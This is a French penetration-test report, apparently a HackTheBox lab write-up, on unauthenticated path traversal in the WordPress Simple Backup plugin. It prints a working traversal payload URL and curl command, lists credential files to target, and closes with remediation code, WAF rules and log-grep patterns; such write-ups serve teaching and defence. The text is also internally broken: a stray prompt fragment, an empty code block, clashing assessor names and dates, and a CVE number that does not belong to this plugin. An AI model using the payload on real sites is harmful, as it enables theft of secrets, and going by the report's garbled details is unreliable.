
Rapport détaillé de test d'intrusion démontrant un contournement de chemin non authentifié (CVE-2019-11447) dans le plugin WordPress Simple Backup, incluant les étapes d'exploitation, l'analyse d'impact et les recommandations de remédiation.
| Élément | Détails |
|---|
| Titre du document | Rapport de test d'intrusion - Traversée de chemin WordPress |
| Client/Examen | HackTheBox Lab - Exercice CPTS 1 |
| Date | 22 août 2026 |
| Évaluateur | Cyberia (Testeur d'intrusion) |
| Type d'évaluation | Gray Box (externe, sans identifiants) |
| Environnement de laboratoire | 154.57.164.73:30706 |
| Durée du laboratoire | 1 heure |
| Objectifs | Identifier et exploiter des vulnérabilités pour récupérer des fichiers restreints |
| Flag obtenu | HTB{my_f1r57_h4ck} |
Au cours de cette évaluation d'intrusion de l'application web hébergée sur 154.57.164.73:30706, une vulnérabilité critique a été identifiée qui permet à des attaquants non authentifiés de télécharger et de lire des fichiers arbitraires depuis le système de fichiers du serveur.
L'installation WordPress vulnérable contient un plugin obsolète (Simple Backup v2.7.10) présentant une vulnérabilité de traversée de chemin (CVE-2019-11447) qui permet un accès non autorisé aux fichiers sans nécessiter d'authentification ou d'autorisation.
Cette vulnérabilité a été exploitée avec succès pour récupérer le fichier /flag.txt à la racine du serveur, confirmant une compromission totale de la confidentialité. Un attaquant disposant de cet accès pourrait :
wp-config.php, .env)Une action critique est requise pour remédier immédiatement à cette vulnérabilité, car elle représente un risque extrême pour la sécurité des données, la conformité en matière de confidentialité (RGPD, HIPAA, PCI-DSS) et l'intégrité du système.
| Sévérité | Nombre | Impact métier |
|---|---|---|
| 🔴 CRITIQUE | 1 | Atteinte totale à la confidentialité ; accès non autorisé aux fichiers |
| 🟠 HAUTE | 0 | — |
| 🟡 MOYENNE | 0 | — |
| 🟢 BASSE | 0 | — |
| ℹ️ INFORMATIF | 1 | Versions logicielles obsolètes détectées |
Type d'évaluation : Gray Box (attaquant externe, aucun identifiant fourni, accès réseau disponible)
Dates de l'évaluation : 22 août 2026
Approche de test : Évaluation méthodique et non évasive suivant le cadre standard de test d'intrusion (PTES) :
CVE-2019-11447 | CWE-22 : Limitation incorrecte d'un nom de chemin à un répertoire restreint
Le plugin WordPress Simple Backup (version 2.7.10/2.7.11, Exploit-DB 39883) contient une vulnérabilité de traversée de chemin dans sa page d'administration « Backup Manager ». Le plugin ne parvient pas à assainir le chemin de fichier fourni via le paramètre GET download_backup_file, permettant à un attaquant de sortir du répertoire prévu simple-backup/ en utilisant des séquences de chemin relatives (../) et de télécharger tout fichier lisible par le processus du serveur web — y compris les fichiers à la racine du système de fichiers.
Le point de terminaison vulnérable :``` GET /wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt
`page=backup_manager` achemine la requête vers le gestionnaire de page d'administration du plugin ; `download_backup_file` est le paramètre que le code du plugin lit directement et concatène dans un chemin de système de fichiers sans validation, permettant une traversée de répertoire.
---
### Score CVSS v3.1
**7.5 - ÉLEVÉ** (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
- **Vecteur d'attaque (AV) :** Réseau
- **Complexité d'attaque (AC) :** Faible
- **Privilèges requis (PR) :** Aucun
- **Interaction utilisateur (UI) :** Aucune
- **Périmètre (S) :** Inchangé
- **Confidentialité (C) :** Élevée
- **Intégrité (I) :** Aucune
- **Disponibilité (A) :** Aucune
---
### Impact métier
**Violation de confidentialité :** ⚠️ CRITIQUE
Les attaquants peuvent lire tout fichier accessible au serveur web, notamment :
| Fichier | Impact | Niveau de risque |
|------|--------|------------|
| `/wp-config.php` | Identifiants de base de données, sels, clés | 🔴 CRITIQUE |
| `/.env` | Clés API, secrets, configuration | 🔴 CRITIQUE |
| `/etc/passwd` | Énumération d'utilisateurs, cartographie du système | 🟠 ÉLEVÉ |
| Clés SSH (`.ssh/id_rsa`) | Mouvement latéral, accès au système | 🔴 CRITIQUE |
| `/proc/self/environ` | Secrets de l'application en cours d'exécution | 🟠 ÉLEVÉ |
| Répertoire de téléversements des utilisateurs | Fichiers privés, médias | 🟠 ÉLEVÉ |
**Impact réglementaire :**
- **Violation du RGPD :** Accès non autorisé aux données utilisateur
- **Violation de la HIPAA :** Exposition d'informations de santé protégées
- **Violation de la PCI-DSS :** Accès aux données de cartes bancaires ou aux informations de paiement
- **Violation de la SOC 2 :** Non-respect de l'exigence de confidentialité
---
### Modèle de code vulnérable
L'avis Exploit-DB (39883.txt, lu via `searchsploit -x` — voir [ht4-poc.png](https://github.com/capivara-research/wordpress-path-traversal-cve-2019-11447/blob/HEAD/images/ht4-poc.png)) documente la primitive **delete** du plugin dans `simple-backup-manager.php` :```php
if(array_key_exists('delete_backup_file', $_GET)){
$this->delete_local_backup_file($_GET['delete_backup_file']);
}
[No content provided after INPUT:]```php $bk_dir = ABSPATH."simple-backup/"; unlink($bk_dir . $filename);
`$filename` provient directement de `$_GET['delete_backup_file']` sans vérification `basename()` ni contrôle de confinement de chemin. Passer `../pizza.txt` résout `$bk_dir . $filename` en `.../simple-backup/../pizza.txt` → `.../pizza.txt`, ce qui permet de sortir du dossier de sauvegarde prévu.
La primitive de **téléchargement** réellement exploitée lors de cet engagement (`download_backup_file`) suit exactement le même schéma de concaténation non assainie dans le même plugin, mais renvoie le fichier au demandeur au lieu de le supprimer — c'est ce qui a permis de récupérer `/flag.txt` à la racine du système de fichiers (10× `../` depuis `ABSPATH/simple-backup/`).
**Le problème :**
- Aucune utilisation de `basename()` pour supprimer les composants de répertoire
- Aucune liste blanche des fichiers autorisés
- Aucune validation que `realpath()` reste dans `ABSPATH."simple-backup/"`
- Concaténation directe de l'entrée utilisateur dans le chemin du fichier
- Aucun contrôle `current_user_can()` / d'authentification avant de servir le fichier — le gestionnaire s'exécute au chargement du plugin, avant la passerelle d'authentification `wp-admin` de WordPress, il est donc accessible **sans être connecté**
---
### Preuve de concept
#### **Phase 1 : Accès initial — Identification de l'application**
Connexion directe à la cible via le navigateur (`http://154.57.164.73:30706/`). L'installation WordPress est intitulée **« GETTING STARTED »**, et un article de blog public sur la page d'accueil divulgue le nom et la version exacts du plugin en texte clair : **« Simple Backup Plugin 2.7.10 for WordPress »** — aucun outil d'énumération n'était même nécessaire pour identifier le composant vulnérable.

#### **Phase 2 : Identification du service**```bash
whatweb http://154.57.164.73:30706/
Résultat : Apache/2.4.41 (Ubuntu Linux), WordPress 5.6.1 confirmés via les signatures de plugins MetaGenerator et WordPress.

searchsploit simple backup wordpress
**Résultat :**```
Exploit Title | Path
------------------------------------------------------------------------------
WordPress Plugin Simple Backup 2.7.11 - Multiple Vulnerabilities | php/webapps/39883.txt

Lecture de l'avis complet pour comprendre les paramètres vulnérables exacts et le chemin de code :```bash searchsploit -x php/webapps/39883.txt
L'avis documente la **suppression arbitraire de fichiers** non authentifiée via le paramètre `delete_backup_file`, et note que les fichiers de sauvegarde sous `simple-backup/` (et, par le même chemin de code non assaini, des fichiers arbitraires via `download_backup_file`) peuvent être récupérés sans authentification.

#### **Phase 4 : Exploitation — Traversée de chemin via `download_backup_file`**
Point de terminaison vulnérable identifié à partir du routage de la page d'administration du plugin :```
http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=
Exploitation payload (10× ../ pour remonter de ABSPATH/simple-backup/ jusqu'à la racine du système de fichiers) :```
http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt
**GUI (utilisé dans cette évaluation) :** l’URL du payload a été ouverte directement dans la barre d’adresse du navigateur. Aucune connexion n’était requise — le navigateur a déclenché un téléchargement automatique du fichier `flag.txt` résolu.

**Équivalent sans interface graphique :**```bash
curl -s "http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt" -o flag.txt
cat flag.txt
Drapeau obtenu : HTB{my_f1r57_h4ck}
La vulnérabilité réussit parce que :
$_GET['download_backup_file'] n'est pas vérifié par rapport à une liste blancherealpath() n'est pas utilisé pour vérifier que le fichier reste dans simple-backup/../) ne sont pas filtréesABSPATH."simple-backup/"wp-admin de WordPress — accessible même déconnectécurrent_user_can() ne confirme que le demandeur est autorisé à accéder au fichier demandéDéroulement de l'attaque :``` User Input: ../../../../../../../../../../flag.txt ↓ No Validation (FAILURE POINT) ↓ Concatenated: ABSPATH/simple-backup/../../../../../../../../../../flag.txt ↓ Resolves to: /flag.txt (accessible!) ↓ Plugin serves file contents with web server permissions ↓ Browser downloads flag.txt to attacker's machine
---
### Validation de l'impact
✅ **Confidentialité compromise :** Tout fichier lisible par le processus du serveur web est accessible
✅ **Aucune authentification requise :** Les utilisateurs non authentifiés peuvent exploiter la faille
✅ **Aucune interaction utilisateur nécessaire :** Exploitation directe via une requête HTTP
✅ **Répétable et fiable :** Fonctionne sur toutes les versions vulnérables
✅ **Données métier critiques exposées :** Fichiers de configuration, identifiants, données utilisateur divulgués
---
## Remédiation
### **Option 1 : Liste blanche des entrées (recommandé)**
Autoriser uniquement les téléchargements depuis une liste prédéfinie de fichiers :```php
<?php
// Define allowed backup files
$allowed_files = array(
'backup_2024_01_15.zip',
'backup_2024_01_16.zip',
'backup_2024_01_17.zip',
);
$requested_file = $_GET['download_backup_file'];
// Validate against whitelist
if (!in_array($requested_file, $allowed_files)) {
die("File not found or access denied");
}
// Use basename() as double protection
$file = basename($requested_file);
$filepath = ABSPATH . "simple-backup/" . $file;
// Verify file exists and is readable
if (!file_exists($filepath) || !is_readable($filepath)) {
die("File not found");
}
readfile($filepath);
?>
Avantages :
Utilisez realpath() pour canoniser les chemins et vérifier le confinement :```php
**Avantages :**
- Gère les liens symboliques et les chemins complexes
- Vérifie le confinement automatiquement
- Plus flexible qu'une liste blanche
---
### **Option 3 : Utiliser basename() pour le nom de fichier uniquement**
Extraire uniquement le composant du nom de fichier :```php
<?php
$user_input = $_GET['download_backup_file'];
// Remove all directory components
$file = basename($user_input);
// Build safe path
$filepath = ABSPATH . "simple-backup/" . $file;
// Verify file exists
if (!file_exists($filepath)) {
die("File not found");
}
readfile($filepath);
?>
Avantages :
Remarque : Cette approche ne fonctionne que si tous les fichiers légitimes se trouvent dans un seul répertoire sans sous-répertoires.
Règles de pare-feu d'application web (WAF) :```
ModSecurity Rule: SecRule ARGS:download_backup_file "@rx ../" "id:1000,phase:2,block,msg:'Path Traversal Attempt'" SecRule ARGS:download_backup_file "@rx %2e%2e%2f" "id:1001,phase:2,block,msg:'Encoded Path Traversal'"
**Autorisations du système de fichiers :**```bash
# Restrict web server access to necessary directories only
chmod 750 /var/www/html/wp-content/plugins/
chmod 750 /var/www/html/wp-content/simple-backup/
# Remove sensitive files from web root
rm -f /var/www/html/.env
mv /var/www/html/wp-config.php /var/www/wp-config.php
# Use chroot/jailing for web server
# Set PHP open_basedir to restrict file access
php_admin_value[open_basedir] = /var/www/html/uploads
Journalisation des accès et surveillance :```bash
tail -f /var/log/apache2/access.log | grep ".." tail -f /var/log/apache2/access.log | grep "%2e%2e"
**Gestion des mises à jour :**
1. Désactiver ou supprimer le plugin Simple Backup
2. Installer une solution de sauvegarde approuvée avec audit de sécurité
3. Mettre à jour WordPress vers la dernière version
4. Mettre à jour tous les plugins vers les dernières versions
5. Mettre à jour PHP vers 8.0+ avec les correctifs de sécurité
---
## Chaîne d'attaque```
┌─────────────────────────────────────────────────────────────┐
│ 1. INITIAL ACCESS │
│ └─ Browse to 154.57.164.73:30706 │
│ └─ WordPress "GETTING STARTED" site identified │
│ └─ Homepage blog post discloses: Simple Backup Plugin 2.7.10│
└──────────────────────┬──────────────────────────────────────┘
│
┌──────────────────────▼──────────────────────────────────────┐
│ 2. ENUMERATION │
│ └─ whatweb confirms Apache 2.4.41, WordPress 5.6.1 │
└──────────────────────┬──────────────────────────────────────┘
│
┌──────────────────────▼──────────────────────────────────────┐
│ 3. VULNERABILITY RESEARCH │
│ └─ searchsploit → 39883.txt (Simple Backup 2.7.11 vulns) │
│ └─ searchsploit -x → read PoC, identify unsanitized │
│ delete_backup_file / download_backup_file parameters │
└──────────────────────┬──────────────────────────────────────┘
│
┌──────────────────────▼──────────────────────────────────────┐
│ 4. EXPLOITATION │
│ └─ Endpoint: /wp-admin/tools.php?page=backup_manager │
│ └─ Payload: download_backup_file=../..(x10)../flag.txt │
│ └─ Browser navigates to payload URL (no login required) │
│ └─ Plugin resolves path to /flag.txt and serves it │
└──────────────────────┬──────────────────────────────────────┘
│
┌──────────────────────▼──────────────────────────────────────┐
│ 5. SUCCESS │
│ └─ Flag Retrieved: HTB{my_f1r57_h4ck} │
│ └─ Confidentiality Breached │
│ └─ Unauthenticated arbitrary file read confirmed │
└─────────────────────────────────────────────────────────────┘
Une vulnérabilité critique de traversée de chemin existe dans le plugin WordPress Simple Backup qui permet à des attaquants non authentifiés de télécharger et de lire des fichiers arbitraires depuis le serveur. Cette vulnérabilité a été exploitée avec succès pour récupérer des fichiers sensibles depuis la racine web.
Niveau de risque : 🔴 CRITIQUE
| Priorité | Action | Calendrier | Responsable |
|---|---|---|---|
| 🔴 P0 | Désactiver/Supprimer le plugin Simple Backup | Immédiatement | Sécurité/Ops |
| 🔴 P0 | Implémenter une validation de fichiers basée sur une liste blanche | Cette semaine | Développement |
| 🟠 P1 | Déployer des règles WAF pour bloquer la traversée de chemin | Cette semaine | Ops |
| 🟠 P1 | Auditer le serveur pour les journaux d'accès non autorisés | Cette semaine | Sécurité |
| 🟠 P1 | Rotation de toutes les informations d'identification exposées (DB, SSH, API) | Cette semaine | Ops |
| 🟡 P2 | Mettre à jour le noyau WordPress et tous les plugins | Cette semaine | Ops |
| 🟡 P2 | Implémenter la surveillance de l'intégrité des fichiers | Prochain sprint | Sécurité |
| 🟡 P2 | Mener un audit de sécurité complet des autres plugins | Prochain sprint | Sécurité |
Constatation : Le site WordPress « GETTING STARTED » divulgue publiquement le plugin installé et sa version dans une publication de blog — « Simple Backup Plugin 2.7.10 for WordPress »
Constatation : Apache/2.4.41 (Ubuntu Linux), WordPress 5.6.1 confirmé
Constatation : « WordPress Plugin Simple Backup 2.7.11 - Multiple Vulnerabilities » (php/webapps/39883.txt)
Constatation : L'avis documente la suppression arbitraire de fichiers non authentifiée via delete_backup_file ; le même chemin de code non assaini s'applique à download_backup_file
Constatation : La navigation vers tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt déclenche un téléchargement non authentifié de flag.txt : HTB{my_f1r57_h4ck}
CVE-2019-11447 — Traversée de chemin Simple Backup
CWE-22 — Limitation inappropriée d'un nom de chemin à un répertoire restreint (« Traversée de chemin »)
Score CVSS v3.1 : 7,5 (Élevé)
OWASP Top 10 - A01:2021 Contrôle d'accès cassé
OWASP Traversée de chemin
PortSwigger Web Security Academy - Traversée de chemin
SearchSploit — Recherche dans la base de données d'exploits
NMAP — Mappeur de réseau
WhatWeb — Outil d'empreinte web
Ce rapport documente un test d'intrusion mené avec une autorisation appropriée et dans le cadre défini.
| Élément | Valeur |
|---|---|
| Statut du rapport | ✅ Terminé |
| Constatations vérifiées | ✅ Oui |
| Recommandations exploitables | ✅ Oui |
| Confidentialité | 🔒 Élevée |
| Distribution | Restreinte au personnel autorisé |
Évaluateur : Capivara Root (Testeur d'intrusion)
Date : 11 août 2026
Signature : Rapport numérique - Aucune signature physique requise
© 2026 Évaluation de test d'intrusion | Confidentiel